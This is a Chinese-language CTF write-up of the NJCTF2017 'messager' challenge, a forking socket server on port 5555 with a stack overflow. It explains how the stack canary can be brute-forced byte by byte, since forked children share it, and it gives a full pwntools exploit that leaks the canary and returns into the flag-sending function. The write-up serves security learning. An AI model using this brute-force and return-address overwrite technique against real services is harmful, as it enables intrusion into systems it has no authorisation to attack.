美文网首页
NJCTF2017-messager

NJCTF2017-messager

作者: 2mpossible | 来源:发表于2018-08-29 21:46 被阅读0次

    最近刚做了道利用canary泄漏地址的题,想着顺便把canary爆破的题也做做,于是找到了这题

    题目在5555端口模拟了一个socket通信服务端程序,服务端每次收到连接请求后,就fork一个子进程来与之通信。

    漏洞点 保护

    recv()函数接收0x400个字符,s只有0x68大小的空间(去除canary部分),所以造成栈溢出,但由于程序开了canary,所以要先爆破canary,由于程序一直运行着,fork的子进程canary值与父进程的值一样,所以每次爆破1字节canary,分8次爆破

    image.png

    可以根据回显来判断程序是否崩了,从而判断canary是否正确

    stack smashing 没有stack smashing

    最后得到canary利用栈溢出ret到send flag的函数即可


    send flag

    完整exp:

    from pwn import *
    context.log_level = 'WARN'
    
    def leak_canary():
        canary = ''
        for j in range(8):
            for i in range(255):
                try:
                    p = remote('127.0.0.1',5555)
                    p.recvuntil('Welcome!\n')
                    paylaod = 'a'*(0x70 - 8)  + canary + chr(i)
                    p.send(paylaod)
                    msg = p.recvuntil('\n')
                    if 'received!' in msg :
                        print 'lucky!!!'
                        canary += chr(i)
                        #print canary.encode('hex')
                        p.close()
                        break
                    p.close()
                except Exception as e:
                    p.close()
                
        print 'canary : 0x%x' %int(canary.encode('hex'),16)
        return int(canary.encode('hex'),16)
    
    def pwn():
        canary = leak_canary()
        #canary = 0x2a62ba63729b55
        p = remote('127.0.0.1',5555)
        p.recvuntil('Welcome!\n')
        paylaod = 'a'*0x68 + struct.pack('>q',canary) + 'aaaaaaaa' + p64(0x400bc6)
        p.send(paylaod)
        flag = p.recvuntil('}')
        print flag
        p.interactive()
    
    
    pwn()
    

    相关文章

      网友评论

          本文标题:NJCTF2017-messager

          本文链接:https://www.haomeiwen.com/subject/zwbkwftx.html